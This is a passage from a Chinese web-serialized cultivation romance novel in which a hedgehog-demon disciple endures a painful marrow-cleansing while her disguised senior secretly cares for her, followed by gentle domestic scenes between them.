云榆嘴唇颤抖,牙关打颤,说不出半句话,她重重咬住下唇,腥甜之气蔓延在口腔之中,她极力稳住声线:“入水了。” 听见里面传来的正常声音,杜寻雁勉强放下心来,看向她身旁的女人。 裴依宁双手负在身后,温婉的脸上见不得一丝笑意,她在刚刚的声音中,听见一抹很轻很弱的抖。 那是种无法克制的抖。 裴依宁捏住掌心,指尖在掌心留下几个深浅不一的月牙形。 星星,云榆。 澄澈的水已经变成浅红色,体内的杂质过多,一时间,所有的药效尽数被毛孔吸收,洗涤四肢百骸。 疼到找不到具体的点,大脑空白一片,云榆唇被咬得血肉模糊,掌心也被掐出一个个紫红色的印记。 但这远不及骨子里的疼。 她连大口呼吸都做不到。 室外,裴依宁长身玉立,月光倾洒在她的肩头,朦胧间多了层看不清的色彩。 杜寻雁偏头要与她说话,却见裴依宁的侧脸不知怎么,蓦然间惨白一片。 她心下惊讶,又见裴依宁一言不发,隐忍地盯着一处,出口的话硬生生压在喉咙中。 与此同时,室内有哽在嗓子中,难以自抑的惨叫声传出。 杜寻雁脸色一变,下意识上前一步。 一只手臂从旁伸出,裴依宁道:“还不到时候。” 她眉宇间神色不曾变动,只紧紧握着拳,一瞬不瞬地注视着内里。 杜寻雁回过神,退回那步,深呼吸:“只能让云榆自己扛过去。还好只是五品洗髓液,若是六品……” 她不敢想后果会如何。 里面浅浅的,克制的喊叫声不断。 裴依宁挥手降下屏障,将此地与外界隔绝。 两个时辰后,里面声音减弱,杜寻雁舔了下唇,第一轮洗髓算是完成了。 接下来就是换水开始第二轮。 她记得五品洗髓液一共需要历经三轮才算结束。 她正欲入内,那条手臂再度伸来:“你在外守着。” 裴依宁头也不回地入内。 作者有话说: 第30章 第三十章[VIP] 室内地面上全是飞溅的水渍, 猩红的液体染红了水液,云榆了无生机地靠在木桶边,修长的脖颈往后扬起,手臂虚虚揽在木桶上, 仅剩的力气不让自己沉下去。 她意识模糊, 视线中隐隐能看见一道颀长的身形从推开的门外走近。 她禁不住打了个寒颤,搅动毛孔收缩, 又是一阵疼。 眼睫挂着的晶莹水珠摇摇欲坠:“疼……” 犹如气音, 让人听得不真切:“好疼。” 裴依宁缓步走到水桶边,云榆抬起的眼被泪珠遮挡, 唇瓣苍白无一丝血色,她无意识的对来人, 似撒娇又似诉苦:“姐姐,星星好疼……” 裴依宁心骤然一疼,小心翼翼地抚上云榆的小臂,黏腻的物质沾在指尖,稍一垂目, 就是触目惊心的红。 她别过头, 重重闭上眼, 又抚上云榆的肩膀, 低声道:“星星, 师姐帮你换水, 好不好?” 这个时候不能感情用事,还剩下两轮, 若是不连续进行, 这次洗髓的功效将大打折扣。 云榆现在受的苦就白受了。 三轮结束后,还有六品洗髓液等着云榆, 至于七品…… 裴依宁神经绷着。 云榆颤抖着唇,意识一点点复苏,她扯住裴依宁的小臂,并无力气握住,只凭着本能推了两下,气息微弱:“麻烦师姐了。” 这句话耗费了她仅剩的气力,歪头靠在裴依宁的胸前,淡淡的药香萦绕在鼻息间。 她竟然嗅到了宁依的味道。 整个人被抱起,从水中浮起,云榆顷刻间被空气包裹,凉气扑在身上,云榆止不住贴紧了裴依宁,呢喃:“冷。” 裴依宁圈住她的腰身,掌心按住桶的一端,灵力涌动,桶内之水瞬间焕然一新。 脚一勾,勾过不远处的放置药瓶的方椅,倒入三分之一的液体入内,开启第二轮洗髓。 桶内水依旧清澈无比,裴依宁挣扎着望着整个缩在自己怀中的人,迟疑地抚上云榆的发顶:“星星,我们要开始第二轮的洗髓了。” 肌肤上起了一层层的小疙瘩,是被风吹的。云榆本能地点头:“嗯嗯。” 裴依宁牵强地扯一下唇角,两指间夹着一枚可以忘却神经的丹药,片刻后,她将云榆放入水中,那枚丹药滚落在地。 她不能擅自做决定。 这丹药虽可以缓解疼痛,但相应的,洗髓效果也会有一定程度的降低。 星星不会愿意的。 “嘶。”倒吸凉气声从桶内传出,云榆五官扭曲,熟悉的疼痛再度袭来,她感觉五脏六腑中都冒着血,身体被肢解打乱,再一次次地重组。 水一点点变红。 裴依宁背过身,无名的情绪笼罩住她,在室内更能听清云榆的喊疼声,指甲抓在木桶上的划拉声。 “出去。”云榆死死咬着唇,残留的理智让她无法分清室内的人是谁,只想保留一丝颜面,不让她人看见自己这般狼狈的模样,“求你,出去。” 裴依宁心神震动,没有回头,如进入时的坚定,走时亦是决绝。 她似乎明白云榆所谓何。 杜寻雁在外来回踱步,算算时间,第二次洗髓已经开始,里面的声响比第一次洗髓要小很多。 可能是痛麻木了,也可能是没有力气叫疼了。 眼角的余光瞥见裴依宁出来,杜寻雁站定脚步,想问又不知道问什么,干巴巴地憋出一句:“云榆怎么样了?” 裴依宁喉咙滚动:“开始第二轮了。” 杜寻雁“哦哦”了两声,搓着手,找了块石头坐下,不多时,一道阴影降下,裴依宁反身坐在她身旁。 天蒙蒙亮,两人沉默皆是沉默不语。 杜寻雁私下性子本就欢脱,长久不说话憋得属实难受,她用余光打量身侧的女人。 女人长发束在身后,几根碎发随风飘扬,浅色的衣衫被水打湿一片,不像是泼上去的,更像是携带水雾靠在上面形成的。 莫名的,杜寻雁脑子里勾画出云榆靠在裴依宁怀中,被后者悉心照顾的场面。 杜寻雁:“……” 云榆到底和裴师姐什么关系,能得到裴师姐如此关注和关心,以至于洗髓之事都要找个理由过来。 师姐妹情? 怎么可能。 杜寻雁还记得初见云榆时对方的模样,穿着一件极为朴素的衣衫,藏在一众参加入宗选拔的人群中,不骄不躁,只在快到自己时,才显露出些许紧张和……惶恐不安。 局促地听着选拔规矩,眼睛一眨一眨的,在听见通过时,那一刻迸发出的蓬勃生命力,好似抓住什么救命稻草,再不愿松开。 而在挑选峰阁时,只问了她一个问题:“哪个峰阁能够更快地提升实力。” 毫无疑问,自然是剑法阁。 后来,她曾听云榆同人说笑,言谈中是对其她峰阁富裕的向往,可当有人开玩笑说,可以一起换峰阁时。 云榆却是表情严肃地收敛住笑容,表示只想待在剑法阁。 入宗后的几个月中,云榆是新弟子中最为勤奋的,每日的修炼结束,还会偷偷跑去师姐们修炼的地方,参悟一二。 有几次被她撞见,会腼腆地说不出话,但当请教她时,眼里满是渴望。 对修为的渴望。 正如所有教人者般,对好学之人总是会多很多的关注。 所以,她才会在云榆练体时,主动提出为对方洗髓。 她是因为与云榆同峰阁,又因云榆的天赋,悟性与勤奋,但裴师姐呢,因为什么这么关注云榆? 杜寻雁深究不得。 恰在此刻,室内传出无法抑制的声音。 裴依宁猛地抬起头,瞳仁颤动,但很快,她复又低下头,如什么都不曾发生般:“多久了?” 杜寻雁找回自己的声音:“快两个时辰了。” 第二轮洗髓要结束了。 裴依宁缓缓吐出一口气,尾指勾住脸颊的碎发别至耳边,起身,转入室内。 又是和前一次相同的场景,只是这次的云榆意识比前一次稍好些,第一次的洗髓排出了许多杂质,她的体质也得以提升。 但在第一轮之上立刻追加第二轮,受损的肌肤还未立刻愈合,疼痛不比第一次少多少。 还剩下最后一轮,这一轮是最为轻松的。 杂质被排除的差不多,根骨也被打通,经脉得以重塑,体质增加数倍。 裴依宁抚着云榆靠在怀中,低声安抚混沌不清的人:“还剩下最后一轮,星星再坚持坚持。” 云榆抓住裴依宁的衣领,唇齿无意识地贴合在女人的锁骨处,温热与潮湿的气息交织打在皮肤上。 那股药香更为清晰,云榆任由自己伏在女人身上,气音提醒:“别忘了,还有六品和七品洗髓液。” 裴依宁揉着云榆的脊背,顾不得云榆身上不着寸物,一心一意为她换水,加入药瓶中剩余的洗髓液。 “云榆,最后一轮半个时辰就能结束,再忍忍。”裴依宁下巴磕在云榆的发顶,抱着怀中人沉入水中。 最后一次的确如裴依宁所言,云榆觉得轻松了许多,毛孔还是会被增大,还是会疼,但随之而来的,还有一股股温热的暖流,一点点将她包裹。 她感觉到身体内发生的巨大变化,蕴含着无穷的气力。 那是属于妖族的力气。 裴依宁靠在墙壁上,听得水声哗哗以及云榆堵在嗓子中的呜咽。 每一次都让她的心揪紧。 五品洗髓液用完,就是三日的休息,可云榆却在结束时清醒了片刻,握住裴依宁快要触碰到她身体的手,盯着那双浅色的瞳孔,吐出两个字:“六品。” 她要直接使用六品洗髓液,将药效完全发挥。 裴依宁沉默着,忽地弯下唇:“好,我知道了。” 她当着云榆的面取出六品洗髓液,倒入刚换好的水中。先逐敷 云榆强制拉回的意识消弭,开始新一轮的洗髓。 六品洗髓液结束便是七品洗髓液。 云榆总会在关键时刻清醒。 那是一种超乎寻常的意志在支撑托举她。 裴依宁面无血色,发麻的身体僵硬地坐在石块上。 杜寻雁去教导剑法阁新弟子修炼,此地只余下她一人。 日升日落,一天一夜过去。 随着七品洗髓液药效吸收完,本次洗髓彻底结束。 裴依宁在外等了会,做足心理准备。 可当她最后一次进入时,心脏还是止不住地骤疼,被一片片切割撒上盐水。 云榆在洗髓液的作用下,早已经维持不住人形,恢复了原形,拢在后背的刺脆弱不堪,一根根折断,漂浮的血液炸开一朵朵血花。 “星星。”裴依宁急步而去,捞起沉入桶底的小刺猬。 面对满身脆弱刺的小刺猬,裴依宁无从下手,竟不知该抓住小刺猬的哪里才能不让小刺猬多加疼痛。 她用灵力将小刺猬托举起,洗髓完的小刺猬可以使用丹药了。 而就在这时,伤口以肉眼可见的速度愈合,折断的刺从脊背一根根长出,柔软的一碰就弯。 灵力入体,检查小刺猬的身体。 不用喂丹药了。 妖族强大的自愈能力也因洗髓过后而明显。 裴依宁双手捧着小刺猬从室内出来,小刺猬身上一层浅薄的灵力隔绝了外界一切。 七品洗髓液过后,是七天的恢复期。这个时期的小刺猬很虚弱。 天上繁星闪烁,地面一人捧着一只小刺猬走着。 杜寻雁火急火燎地赶到,瞧见躺在裴依宁掌心的小刺猬:“云榆是刺猬一族的?” 她只知对方是妖族,具体是哪一族,却是未曾得知。 裴依宁“嗯”了声,权衡之下,将小刺猬往前伸出:“麻烦杜师妹,替我照顾好她。” 杜寻雁不敢接:“裴师姐,我……在你那会更好。” 裴依宁苦笑,她何尝不知这点,只是,小刺猬醒来看见她,她该如何解释。又或者,在洗髓换水时,云榆依偎在她怀中,就感知到了她的存在。 她叹息,顺其自然。【你现在阅读的是 】 30-40 第31章 第三十一章[VIP] 云榆醒来时, 意识尚且是混沌状态,她捂住额头,脑海中的记忆切割成一块块不同的画面,飞速闪过。 在这些画面中, 她似乎看见了宁依的身影, 看见自己躺在宁依的怀中,断断续续地说着什么话。 她记不清说了什么话。 云榆按紧太阳穴, 随着意识点点清晰, 她忽而感觉到按住的地方一片毛绒。 视线往四周掠过,是完全陌生的环境。 她心猛地提起, 再一看,自己竟然不知何时变回了小刺猬。自己这个形态不知维持了多久, 又被多少人看见。 她急忙要从这处陌生的地方离开,刚一起身,长时间未动的下肢轻飘飘的,支撑不住身体,摔落回床面。 小刺猬:“……” 外面传来脚步声, 小刺猬直直地倒回去, 恢复到苏醒前的状态。 殿门打开, 光线照入。 杜寻雁和纳兰然一同进入殿内。 “纳兰师妹, 已经过了七日, 她何时才能醒来?”杜寻雁的声音传入耳中。 是杜师姐。 云榆悬起的心掉落。 面前投射下两道阴影, 是两人走到了她的面前,影子重叠的部分, 显得格外暗。 爪子被人拉起, 温热的灵力没入身体,暖洋洋的, 小刺猬神经放松,不由自主地抽动一下。 “嗯?”纳兰然感知到小刺猬的动静,提起小刺猬扯开的小被子,“根据灵丹堂这几日记录的情况看,应该快了。” 杜寻雁也看见小刺猬动了,顿了顿,用眼神询问。 纳兰然微微点头。 小刺猬还没做好用原身见两人的准备,装睡等两人离去才是睁开眼。 但这不是长久之计,她不可能一直装睡,也不能一声不响的回去。 太不礼貌了。 从纳兰师姐的话中,可以推断她此刻是在灵丹堂,只是这处殿宇是她以往没有进过的。 突然,小刺猬想起一件事,她在灵丹堂七日,宁依是否会因此发现自己的身份。 不对,她洗髓之时嗅到了宁依身上的药香,难道当时对方就在。 那宁依岂不是知道了她的人形。 小刺猬感觉自己被无形的大手抓起,倒立着抖出全身的秘密。 一股难言的感觉升腾起。 她双爪攥住盖在身上的小被子,圆溜溜的眼睛不断转动,思索着应对方法。 殿门外又传来脚步声,这次小刺猬没有继续装睡,她掀开被子爬起,坐在床上。 殿门开启,纳兰然端着一方药盘走近,瞧见端坐着的小刺猬并不惊讶,反而将药盘上的药粥端到床侧的小桌上:“你醒了,感觉怎么样,有没有哪里不舒服的?” 杜寻雁紧随其后,径直坐在床沿边,关切地问:“如何?还疼吗?” 一连数个问题抛过来,小刺猬一一回答:“感觉挺好,没有不舒服的,不疼了。” 杜寻雁端起那碗药粥,搅动药勺,腾腾热气弯曲向上,她舀起一勺,刚要凑近吹吹,脑子里窜出一些画面,脑袋顷刻间往后挪动,药勺放回碗中。 那碗药粥也被放回,杜寻雁登时不自然地道:“没想到云师妹竟是刺猬一族的。经历过洗髓,你的体质当比七日前强了数倍,未来修炼之路,有什么不懂的,尽可请教师姐们。” 小刺猬没察觉到杜寻雁的异样,感激地点头:“杜师姐,我会的,”听到师姐提及刺猬一族,以及意识不清时,恍惚看见的宁依,她仍有顾虑,“杜师姐,当时洗髓之时,除了你之外,还有旁人吗?” 杜寻雁握拳抵住唇:“为防止意外情况发生,有一位灵丹堂的师姐也在,洗髓液就是那位师姐为你炼制的。但那位师姐不喜出现在人前,所以我可能无法向你透露那位师姐的身份。” 小刺猬抓住杜寻雁话语中的关键词。 灵丹堂的一位师姐。 那就不可能是宁依。 果然是她的错觉。 至于她嗅闻到的药香,十有八九是洗髓液的气味,又或者是那位师姐身上的。灵丹堂常年与各种药材打交道,或多或少都会沾染上药材气息。 就比如目前的纳兰师姐,她身上也有一股与宁依有所差别的药香。 在她当时那个状态,无法分清是什么药香情有可原。 既然那位师姐不愿意透露身份,小刺猬自是不会为难,略显可惜地:“那麻烦杜师姐替我转告感激之情。” 暂时不想让太多人知晓自己妖族的身份,小刺猬欲言又止:“两位师姐,有关我是妖族的事……” 两人都是聪明人,听出小刺猬话中意思,皆是道:“放心,师姐定不会向不曾知晓你身份的人提起。” 小刺猬感谢:“多谢两位师姐。” 念及等在殿外的人,杜寻雁颇为头疼,她该怎么做才能在不引起面前人怀疑的同时,将外面的人引入殿内。 难办。 “杜师姐,我现在可以回洞府吗?”小刺猬不愿意继续麻烦两人,她昏迷的七日,定然是两位师姐照顾的,如今醒来,再劳烦两人,她怎么都不好意思,“我能走能跳,不会有事。” 纳兰然刚欲拒绝,灵识内传入一道声音:【答应她。】 出口的话直接转了个弯:“可以。” 那碗药粥都没来得及吃,小刺猬在杜寻雁和纳兰然的注视下跳下床,挥爪对两人摆摆,身体灵活地在殿中钻蹦,转眼间消失于无。 “我怎么感觉不对劲。”杜寻雁干巴巴道。 纳兰然接受度良好:“你知道吗?裴师姐之前叫过我师姐。” 杜寻雁震惊:“啊?” 纳兰然捏着鼻梁:“当时云师妹也在。” 杜寻雁:“……”先祝腐 裴师姐好像在做一些奇奇怪怪的事情。 杜寻雁侧目:“那如果以后,云师妹在的时候,我和裴师姐遇到,裴师姐会不会也叫我师姐?” 纳兰然没适应她新奇的脑回路,好半晌才是道:“你可以试试。” * 外面的场景开始变得熟悉,小刺猬跑动的速度降下来,她只觉浑身蓄满了力量,洗髓的作用在此刻显露一二。 下肢都变得极为有力量。 在路过膳食堂时,小刺猬停了下来。 她和宁依数日未见,加之洗髓时留下的有关宁依的印象,小刺猬紧张不安。 从某种程度上来说,她怎么不算是欺骗了宁依呢。 “星星?” 宁依的声音穿插进记忆中,小刺猬拍了一爪子脑袋,愧疚的产生幻听了。 她下肢蓄力,往前跳了好大一截。 “星星?”这次的声音带着浓重的疑惑,“你是来找我的吗?” 小刺猬扭头,宁依的脸出现在瞳孔中。 不是幻听,是真的偶遇宁依了。 小刺猬收爪,愧疚之心达到顶点。 她不仅骗了宁依,现在还要继续骗对方。 她往回跑到裴依宁身前。 裴依宁蹲下身,自然而然地伸出手臂,眼底深处的心疼几乎掩饰不住,她捏了捏小刺猬的脸颊,点了点小刺猬脊背后的刺。 已然变硬。 捧起小刺猬,裴依宁温声重复:“星星是在找我的吗?” 小刺猬心虚地别开视线:“好几天没见了,过来看看你在做什么。本来想去你洞府的,没想到在这遇见了。” 裴依宁弯唇,刮开小刺猬的爪子,抬高小刺猬左右上下看看:“星星好像变了点。” 小刺猬干笑:“可能这几天吃得太好了。” 裴依宁捧着小刺猬调转至洞府的方向,她凭空取出一枚丹药抵到小刺猬的唇边:“消食的。” 小刺猬不疑有它,直接吞下。 半途中,小刺猬看见不远处并肩迎面而来的杜寻雁和纳兰然,小爪子握住裴依宁的手指,提醒:“宁依,前面有人。” 裴依宁“嗯”了声,她从空间储物中取出一只空药盒,将小刺猬装入其中。 从药盒开启的一丝缝隙中,小刺猬看见纳兰师姐拽了下杜师姐,正在侃侃而谈的杜师姐因这一拽止住。 而宁依也停了下来。 裴依宁淡淡地望向面前的两人,又垂目瞧了眼手中的药盒:“纳兰师姐,杜师姐。” 杜寻雁给了纳兰然一个惊恐的眼神。 灵识内没有裴师姐的传音,生怕杜寻雁说出不符合裴师姐想法的话,纳兰然按住杜寻雁的胳膊,上前半步:“师……” “师妹。”杜寻雁叫得顺畅无比,她不着痕迹扫了眼药盒,笑盈盈地拉回纳兰然,“师妹手中拿的是什么?” 小刺猬紧张地缩起身体。 一旦让杜师姐和纳兰师姐知晓她和宁依认识,未来说不定会影响到宁依。 裴依宁莞尔:“盛放药材的药盒,”她向前一伸,“杜师姐要看看吗?” 杜寻雁当真走过去,倒是没打开药盒,只在药盒的旁侧敲了几下:“我对这些不了解,就不看了。” 纳兰然:“……” 杜师姐,过分了。 她紧紧握住杜寻雁的手,拽回到身侧,尽量平稳声线:“杜师姐,我那里备了上好的茶水,再不走,茶就凉了。” 她传音:【杜师姐,适可而止。】 这人为什么能和修炼时差别这么大,竟然敢在裴师姐面前蹦跶,就不怕裴师姐事后算账吗? 虽然裴师姐不是那种人。 杜寻雁后知后觉玩过了头,只顾得让裴依宁喊她师姐,却忘记了她和裴师姐还不至于相熟到这个地步。她找补道:“师妹先去忙吧,我们就不打扰了。” 裴依宁笑意不达眼底:“好,师姐慢走。” 半柱香后,小刺猬掀开药盒,转身,双爪弯曲挂在药盒边缘,脊背靠过去,懒懒散散的样子:“喏,刚刚那位就是剑法阁的杜师姐。” 她记得宁依曾说过,与杜师姐有过几面之缘。 刚才那副样子,倒真的像是半生不熟的。 还不是老老实实叫她们师姐。 她骗宁依,宁依也骗了人形的她,两两相抵。 小刺猬安慰自己。 作者有话说: 对不起,今天太忙了,来晚了 本章掉落小红包 第32章 第三十二章[VIP] 裴依宁的洞府与小刺猬数日前离开一样, 就连小物品的摆放都不曾变动,好似几日没人住过般。 来了数次,小刺猬越发熟稔,习以为常地从药盒中跳出, 四仰八叉地摊在桌面上。 裴依宁将药盒放在小刺猬身侧, 凭空取出一份药粥。 仔细看去,这碗药粥与纳兰然端的是同一份。 小刺猬不曾留意这些, 歪头, 那碗粥跟着放在了她的另一侧,不多时, 裴依宁搅动勺柄,掌心贴住瓷碗边缘。 还是热腾腾的。 她端起碗底, 舀起一勺,放在唇边吹了两下。 这个举动小刺猬莫名熟悉,不久前,宁依就曾这么喂过她。二次被喂,她扬起上半身, 两只小爪子支撑桌面, 唇在勺边碰碰。 温度正好, 她一口咽下:“宁依, 今天怎么一来就喂我喝粥, 这粥你什么时候熬的?” 她左右没有在洞府内发现生火的器物, 这碗粥更像是宁依凭空变出的。而且里面还有股淡淡的药香,有药材在其中。 这是一碗药粥。 裴依宁舀起第二勺喂到小刺猬唇边:“在膳食堂盛的, 本来打算当做晚饭的。”她微微一笑, 不在意地说,“但遇见星星, 今晚定然还会吃别的,这碗粥就只能麻烦星星吃了。” 她食量不大,这碗粥下肚,恐怕再吃不下别的。 小刺猬理解地“哦”了声,她的确是和宁依在膳食堂附近遇上的。 她不怀疑,用力擦了下唇边毛发,一口口接下裴依宁的投喂。 不得不说,宁依的手艺很好,即使是平平无奇的药粥都能做得这么好吃。 清甜弥漫在口腔中。 小刺猬咽下最后一口,裴依宁顺手将碗放到药盒中,她支撑着下巴,头微歪,好以整暇地望着重新倒回去的小刺猬,眉宇间的柔和溢满而出。 她捏着一只蓝莓,缓而慢地在小刺猬的茫然不解中,将蓝莓插在小刺猬身侧的一根刺上。 小刺猬:“……” 小爪子抓住那颗蓝莓,小刺猬拧巴着脸:“宁依,你在做什么?” 裴依宁只是想试试小刺猬新换的刺的硬度,没忍住用蓝莓测试了翻,被小刺猬一问,她回过神,接过小刺猬扔回来的蓝莓:“想给星星的刺染个色。” 小刺猬歪头,眼神一个劲的向身侧瞥,但由于视觉差,并不能看见那根被插入蓝莓的刺是什么样。 她搬着腰,扭动身体。 还是看不见。 灵机一动,从空间储物中取出一只镜子,摆好放置,调整好方向,借用镜子中的影像,小刺猬瞧见那根刺的刺尖蒙上一层浅紫色的水痕。 有点怪异,又有点好看。 小刺猬移动镜子,片刻后,她四肢大大张开,趴在桌面,脊背朝上,同时扭头对坐在面前的女人道:“来,把其它刺也染上看看效果。” 脑海中浮现出小刺猬满刺蓝莓的模样,裴依宁抵住额头,不能想下去了,她捏着被刺贯穿的蓝莓,顺着空洞插入第二根刺,然而拔出再插入到第三根刺中。 蓝莓中间的空洞越发大,已经坚持不到下一个刺了。 裴依宁住手,染成紫红色的指尖点了点小刺猬的唇:“染几根就好,全染反倒失去了美感。” 小刺猬在看见蓝莓散架,当即意识到这是种浪费食物的行为,正要阻止,还没来得及说话,裴依宁就为她寻到了理由。 挣扎爬起的身体落到桌上,小刺猬认同地点点头:“我也觉得。只可惜这颜色保存不了多久,遇水就散了。” 裴依宁指腹摩挲,若有所思地样子:“有永久保存的方法,星星要试试吗?” 小刺猬只是随口一提:“不要,那还是我本身的颜色好看。” 裴依宁淡笑不语。 她端起吃尽的药碗去开辟出,用来做饭的地方,将碗刷洗干净,而后从空间储物中取出食材。 食材不多,是前几次没用完的食材,她来没来得及补充。这几日需要找时间再去买点,为小刺猬加加餐。 一是洗髓时,小刺猬受了太多的苦,二是体质提升,小刺猬的食量相应有所提升。 小刺猬不吃辟谷丹,只吃一碗药粥定然是不够的。 烟火气充斥,小刺猬抬爪降下灵力屏障阻隔气味持续飘散,传到宁依睡觉的地方。 她自己则是懒懒地翻过身,贴着桌面的肢体扭动收缩移动,往裴依宁的方向靠了靠。 裴依宁将切好的肉片放入锅中翻炒,熟练地往锅中放入配菜。 一道道菜被盛出,小刺猬一个鲤鱼打挺翻起,气势颇好地蹦跳起来。 她的四肢中存满了力量,稍一蹦跳就比以往更远。 小刺猬惊喜地抬起四肢。 裴依宁一回头,就见小刺猬满眼欣赏地打量双爪,小脑袋还一点一点的。 就在这时,小刺猬抬起头,四目相对,小刺猬怔愣住,下一秒,她笑开,五官舒展。 人形小刺猬的笑颜浮现眼前,裴依宁别过头,重重闭上眼。 再一睁眼,小刺猬已经跳到了她附近,跃跃欲试地搓动小爪子:“宁依,我来端菜。” 若是之前,小刺猬形态的她不一定能端得起盘子,但现在,她只觉得有使不完的劲。 在得到裴依宁的同意后,小刺猬双爪抱住盘子边缘,爪子用力,轻轻松松地抬起。 力气真的变大了,丝毫不觉得费力。 小刺猬想要立刻变回人形,去试试搬动那些石块。 她抱着盘子端到饭桌上,又回头端第二盘。 裴依宁端着两盘走了个来回,小刺猬已经将剩下的两道端了过来。 五菜一汤,属实是丰盛极了。 小刺猬抓着勺子,空闲的爪子指了指小炒肉:“宁依,我要吃这个。” 裴依宁拾起公筷,夹起两片,并不急着往小刺猬碗中放:“星星,这几日你在外吃了哪些东西?” 小刺猬:“啊?” 想到洗髓前骗宁依去品尝其她人手艺的事,她怎么把这件事给忘了。 她还没来得及编造更多。 小刺猬战术性的别回头,咳嗽几声,大脑飞速运转:“啊?哦,就是那个……”她灵光一闪,“那人手艺不及你半分好,吃过即忘,根本记不住吃了什么。” 裴依宁将小炒肉放到小刺猬碗中,眼底笑意浓重:“是吗?那星星怎么还一连吃了数日呢?” 她好奇小刺猬该怎么圆回去。 当然,更重要的是让小刺猬以后不会再用这个充当理由。 小刺猬故作无意地咧唇:“也没有吃数日,就中间穿插着吃了数顿。其余时间在修炼。”她半真半假,“你知道我是剑法阁的弟子,平日修炼很忙。” 裴依宁关心:“星星累吗?” 公筷不停地往小刺猬碗中夹别的吃食。她取出一只空碗,提前为小刺猬盛了碗汤放在旁边温着。 小刺猬咀嚼咽下:“修炼本就累,习惯就好。” 裴依宁不置可否,似是随口一问:“我听闻修炼之人都需洗髓,星星洗过髓吗?” 洗髓途中迷糊看见宁依的事因杜师姐的话放下,但此刻又被提及,还是在这个时候,小刺猬警惕之心起了。 她紧紧握住勺子,盯着面前的女人,试探:“怎么突然问这个?” 裴依宁双臂叠放,眉间蹙起一座峰峦,脸上尽是担忧和害怕:“昨日师姐跟我说,要找个时间为我洗髓,我听闻洗髓很疼,我有点害怕。” 原来是因为这个。 小刺猬刚升起的警惕直直坠落,她爬起,攥住公筷,艰难地为裴依宁夹了块排骨,安抚:“熬过去就好了。” 刚刚经历完洗髓,对于洗髓的好处,小刺猬深有体会,浮于表面的便是身体素质增加,内里,她灵珠自动吸收周围灵气的速度也比洗髓前快了许多。 至于更多的,她还没有尝试。 但只是目前她能感受到的,就觉得这疼是应该承担的。 裴依宁眼神暗下去:“星星洗髓时,很疼吧。” 小刺猬不在意地喝汤:“昂。” 裴依宁抿住唇,小刺猬的心态总是格外好,不论遇上什么事,完成后都只是轻飘飘的一笔带过。 像是在回答别人的事。 即使当时疼得晕了过去,现在回应的也不过是一个“昂”字。 冷静淡然。 心口泛起细细密密的疼痛,裴依宁胸腔被无形的东西堵住,酸酸涩涩的感觉并不好受。 她凭借感觉揪住胸前的衣衫,极力压制突如其来的情绪。 修炼百年,她见惯了形形色色的人,可没有第二个人或妖能带给她如此强烈的心灵震颤。 毫无理由的心疼,毫无理由的关注。 她无法归结。 “不过宁依不用担心。”宁依脸色一瞬间变得苍白,好不容易调养回来的血色可不能因为洗髓而被吓回去了。 小刺猬爬到裴依宁手边,拉起裴依宁的手指:“会有师姐为你保驾护航,而且你是灵丹堂的人,她们对于洗髓灵液了解更多。”她提及好处,“洗髓完毕,你的根骨都会有很大提升,于未来修炼极好,宁依就可以更快成为高品阶的炼丹师了。” 她开玩笑:“到时,我们位置互换,我当你的小跟班。”小刺猬傲娇不改,“不过现在你还是我的小跟班哦。” 裴依宁扯下唇角:“嗯,是你的小跟班。” 宁依笑得好勉强,但洗髓真的好疼好疼,小刺猬不怎么会安慰人:“如果宁依愿意的话,我可以偷偷陪你。等你觉得疼时,可以咬我的手臂,据说这样可以缓解疼痛。” “那你被咬难道不疼吗?”裴依宁语气晦涩。 小刺猬拱裴依宁手背:“没关系,我抗疼。” 作者有话说: 小刺猬:想办法减少小跟班的害怕值。 本章掉落66个小红包哦~ 第33章 第三十三章[VIP] 好不容易将小跟班哄好, 小刺猬乖乖巧巧地回到原位,享受被小跟班投喂的快乐。 她的食量比前几次大了许多,是连续几日没吃东西加体质变化而造成的。 碗中最后一粒米进肚,小刺猬摸了摸圆滚滚的小肚子, 不好意思地抿住唇, 偷偷看向对面没怎么动筷的人。 她给宁依夹的菜已经被吃了,剩余的, 好像就没见宁依吃了。 小刺猬懊恼地捏住肚皮, 被碗遮挡,裴依宁只能看见小刺猬在摩挲着什么, 小爪子贴在身前,眉心蹙在一起, 时不时还会用一种近乎可怜的目光…… 裴依宁再三辨认。 的确是可怜的目光,其中还夹杂着几分后悔,看向她。 不等她开口,小刺猬反倒先推开面前的碗,垂下脑袋, 后肢撑在桌面, 小爪子合在一起, 攥住公筷, 挑起一块红烧肉夹入裴依宁的碗中。 小肚子在下坠, 小刺猬扭动身体, 又夹了筷素菜进裴依宁的碗中:“宁依,多吃点。” 裴依宁从失神的状态中走出, 恍惚看见小刺猬给她夹了菜, 她将碗往前一伸,浅笑道:“我不是很饿。” 小刺猬不疑有她, 宁依的饭量的确很小,每每吃上几口,就饱了。 她很好奇宁依为什么手艺这么好,吃得却这么少,也太浪费这幅好手艺了吧。 小刺猬惋惜。 就着小刺猬夹来的菜勉强吃了半碗,裴依宁属实是吃不下了。 她盖住碗面,生怕小刺猬又给她夹菜:“星星,我真的吃不下了。” 小刺猬不勉强,放下筷子,甩了两下爪子,在裴依宁的帮助下,将碟子中剩余的菜夹入自己碗中,勾着勺子一口口吃下。 “今天的碗我来洗吧。”小刺猬现在力气无处可放,简单的刷碗也不用担心像上次一样从河岸边掉下。 碗碟放在盆中,她端着盆往河边走。 小小的身体被盆压住,从裴依宁的高度根本无法看见盆下的小刺猬,只能看见一只盆在移动。 等小刺猬走远了,跟在后面拉开一定距离的裴依宁方才看见盆离里面约莫四五公分的样子,依稀可以看见小刺猬的下肢一动一动的。 裴依宁低笑声,大步追上小刺猬。 等到了河岸边,小刺猬像模像样地撸了下爪子,双爪浸入河中,温凉的河水同上次一般。 小刺猬捡起一只碗,小爪子在碗中绕来绕去。 裴依宁则是蹲在小刺猬身侧,伸长手臂取出一只碟子,跟着小刺猬的步骤清洗。 小刺猬歪头,脸颊在爪背蹭了下:“不是说我来就好嘛,宁依是怕我洗不干净吗?” 裴依宁只是笑:“是怕星星洗得太干净了。” 这话怪怪的,小刺猬放好洗干净的碗,不着痕迹地挪动身体,缩小和裴依宁的距离,趁着裴依宁放好碟子的功夫,控制力度顶了下裴依宁的膝盖。 引得女人垂目看她。 小刺猬仰起头,抓起筷子清洗。 裴依宁被小刺猬幼稚的举动逗笑,心情霎时间盛开,滴水的手指点了下小刺猬的额头,将几滴水融入小刺猬的毛发中。 温温凉凉的水让小刺猬眨眨眼:“坏宁依。” 裴依宁笑意直达眼底。 洗完后,小刺猬双爪环抱,丝毫没有将其带回去的念头,颇有气势地指挥小跟班:“带回去。” 裴依宁低眉顺眼,十分听话的样子:“好。” 